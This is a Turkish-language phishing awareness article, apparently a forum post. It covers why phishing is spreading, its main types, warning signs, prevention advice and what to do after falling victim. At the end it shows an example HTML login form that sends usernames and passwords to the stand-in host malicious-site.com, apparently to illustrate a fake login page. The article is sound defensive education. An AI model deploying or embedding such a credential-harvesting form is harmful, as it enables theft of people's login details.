• Teknolojinin Gelişimi ve Kolay Erişim: Gelişen teknoloji, dolandırıcıların sahte e-postalar, web siteleri ve mesajlar oluşturmasını her zamankinden daha kolay hale getirmiştir. Yapay zeka destekli araçlar sayesinde, dil ve görsel tutarlılıkta sahte içerikler üretmek artık çok daha basit.
• Pandemi ve Dijitalleşme: COVID-19 pandemisiyle birlikte online işlemlerin ve uzaktan çalışmanın yaygınlaşması, insanların dijital platformlara olan bağımlılığını artırmıştır. Bu durum, siber suçlular için yeni fırsatlar yaratmıştır.
• Kullanıcı Bilinçsizliği: Siber güvenlik konusunda yeterli bilgiye sahip olmayan kullanıcılar, kimlik avı saldırılarının başlıca hedefleridir. Dolandırıcılar, insanların merakını, korkusunu veya aciliyet duygusunu istismar ederek tuzaklarına düşürmektedir.
• Otomatik Saldırı Araçları: Phishing kitleri ve otomatize edilmiş saldırı araçları sayesinde, düşük teknik bilgiye sahip kişiler bile binlerce kişiye aynı anda kimlik avı saldırıları düzenleyebilmektedir.
• Finansal Kazanım: Ele geçirilen kişisel ve finansal bilgiler, dark web'de satılarak veya doğrudan kullanılarak suçlulara büyük gelirler sağlamaktadır. Bu da dolandırıcılar için cazip bir motivasyon kaynağıdır.

1. E-posta Kimlik Avı (Email Phishing): En yaygın türdür. Güvenilir bir kaynaktan geliyormuş gibi görünen e-postalarla kullanıcılar aldatılmaya çalışılır.
2. Hedefli Kimlik Avı (Spear Phishing): Belirli bir kişiye veya kuruluşa özel olarak tasarlanmış saldırılardır. Kurban hakkında önceden bilgi toplanarak daha ikna edici hale getirilir.
3. SMS Kimlik Avı (Smishing): Sahte SMS mesajları aracılığıyla kötü amaçlı bağlantılar gönderilir veya hassas bilgiler istenir.
4. Sesli Kimlik Avı (Vishing): Telefon aramaları yoluyla gerçekleştirilen dolandırıcılıktır. Dolandırıcı, banka çalışanı, polis veya devlet görevlisi gibi davranabilir.
5. Balina Avı (Whaling): Şirketlerin üst düzey yöneticilerini hedef alan, genellikle finansal işlemlerle ilgili sahte talepler içeren çok özel hedefli saldırılardır.
6. Eczacılık (Pharming): DNS ayarlarını değiştirerek veya kötü amaçlı yazılım bulaştırarak kullanıcıyı yasal bir site yerine sahte bir siteye yönlendiren saldırı türüdür.

"Siber güvenlik, teknolojik bir sorun olmaktan çok, insan faktörüne dayalı bir bilgelik meselesidir. Her tıklamadan önce düşünün."

Genişletmek için tıkla ...

• Gönderen E-posta Adresi: E-posta adresini dikkatlice inceleyin. Kurumsal e-postalar genellikle şirketin gerçek alan adını (örn: info@bankaadi.com) kullanırken, sahte e-postalar benzer ancak farklı alan adları (info@bankaadi-guvenlik.com gibi) kullanabilir.
• Yazım ve Dilbilgisi Hataları: Profesyonel kurumlar genellikle e-postalarında yazım ve dilbilgisi hatası yapmazlar. Çok sayıda hata içeren bir mesaj, dolandırıcılık işareti olabilir.
• Genel Selamlama: İsminizle hitap etmek yerine "Değerli Müşterimiz" veya "Merhaba" gibi genel ifadeler kullanılması şüphelidir.
• Aciliyet ve Tehdit: "Hesabınız kapatılacaktır", "Acil işlem yapın" veya "Aksi takdirde yasal işlem başlatılacaktır" gibi ifadelerle korku ve aciliyet duygusu yaratılmaya çalışılır.
• Şüpheli Bağlantılar ve Ekler: Tanımadığınız veya beklemediğiniz bir e-postadaki bağlantılara tıklamayın veya ekleri açmayın. Bağlantının üzerine gelerek gerçek URL'sini görebilirsiniz (ancak asla tıklamayın).
• Kişisel Bilgi Talebi: Bankalar veya resmi kurumlar sizden e-posta veya SMS yoluyla şifre, kredi kartı numarası, T.C. kimlik numarası gibi hassas bilgilerinizi asla istemezler.
• Web Sitesi URL'si Tutarsızlığı: Bağlantıya tıklamadan önce fareyi üzerine getirdiğinizde çıkan URL ile ekranda gördüğünüz URL'nin farklı olması, sahte bir siteye yönlendirildiğinizin işaretidir.

• Daima Şüpheci Olun: Beklemediğiniz veya mantıksız gelen her türlü e-postaya, mesaja veya telefon aramasına karşı tetikte olun.
• Kaynak Doğrulaması Yapın: Şüpheli gördüğünüz bir durumla karşılaştığınızda, ilgili kurumun resmi web sitesini ziyaret ederek veya doğrudan kendi bildiğiniz iletişim kanallarından (asla şüpheli e-postadaki numarayı kullanmayın) arayarak bilgi doğrulayın. Örneğin, bir banka bildirimiyse, bankanızın resmi web sitesini www.bankaadi.com.tr adresinden kendiniz girerek kontrol edin.
• İki Faktörlü Kimlik Doğrulama (2FA) Kullanın: Online hesaplarınızda mümkün olan her yerde 2FA özelliğini etkinleştirin. Bu, şifreniz çalınsa bile hesabınıza erişimi zorlaştırır.
• Güçlü ve Benzersiz Şifreler Kullanın: Her hizmet için farklı, karmaşık şifreler oluşturun ve bunları düzenli olarak değiştirin. Bir şifre yöneticisi kullanabilirsiniz.
• Yazılımlarınızı Güncel Tutun: İşletim sisteminiz, tarayıcınız ve diğer tüm yazılımlarınızın güncel olduğundan emin olun. Güncellemeler, bilinen güvenlik açıklarını kapatır.
• Antivirüs ve Antimalware Yazılımı Kullanın: Güvenilir bir antivirüs programı kullanarak sisteminizi kötü amaçlı yazılımlara karşı koruyun ve düzenli taramalar yapın.
• Bağlantılara Tıklamadan Önce Kontrol Edin: Bir bağlantının üzerine gelerek (tıklamadan) görünen URL'yi dikkatlice inceleyin. Gerçek URL, beklediğiniz URL ile eşleşmeli.
• Veri Yedekleme: Önemli verilerinizi düzenli olarak yedekleyin. Bir siber saldırı durumunda verilerinizin kaybolmasını önler.
• Kamu Spotlarını ve Bilgilendirme İçeriklerini Takip Edin: Siber güvenlik konusunda yetkili kurumların (örneğin, BTK'nın siber güvenlik duyuruları veya Emniyet Genel Müdürlüğü siber suç birimi) paylaştığı bilgileri takip edin.
• Eğitim ve Bilinçlenme: Kendinizi ve çevrenizdekileri kimlik avı dolandırıcılıkları konusunda eğitin. Bilinçli kullanıcılar, siber saldırganların işini zorlaştırır.

• Şifreleri Değiştirin: Ele geçirildiğini düşündüğünüz tüm hesaplarınızın şifrelerini (aynı şifreyi kullandığınız diğer hesaplar dahil) hemen değiştirin.
• İlgili Kurumu Bilgilendirin: Eğer banka veya finansal bilgileriniz ele geçirildiyse, hemen bankanızı arayarak durumu bildirin ve gerekli önlemleri almalarını sağlayın.
• Hukuki Mercilere Başvurun: Durumu siber suçlarla mücadele birimlerine veya savcılığa bildirin. Türkiye'de bu tür durumlar için Siber Suçlarla Mücadele Daire Başkanlığı veya 112 Acil Yardım Hattı üzerinden başvurabilirsiniz.
• Hesaplarınızı İzleyin: Banka hesaplarınızı, kredi kartı hareketlerinizi ve diğer online hesaplarınızı dolandırıcılık faaliyetlerine karşı yakından takip edin.
• Sistem Taratması Yapın: Bilgisayarınıza veya mobil cihazınıza kötü amaçlı yazılım bulaşmış olabileceği ihtimaline karşı güvenilir bir antivirüs yazılımı ile kapsamlı bir tarama yapın.

<form action="http://malicious-site.com/login_handler.php" method="POST">
  <input type="text" name="username" placeholder="Kullanıcı Adı">
  <input type="password" name="password" placeholder="Şifre">
  <button type="submit">Giriş Yap</button>
</form>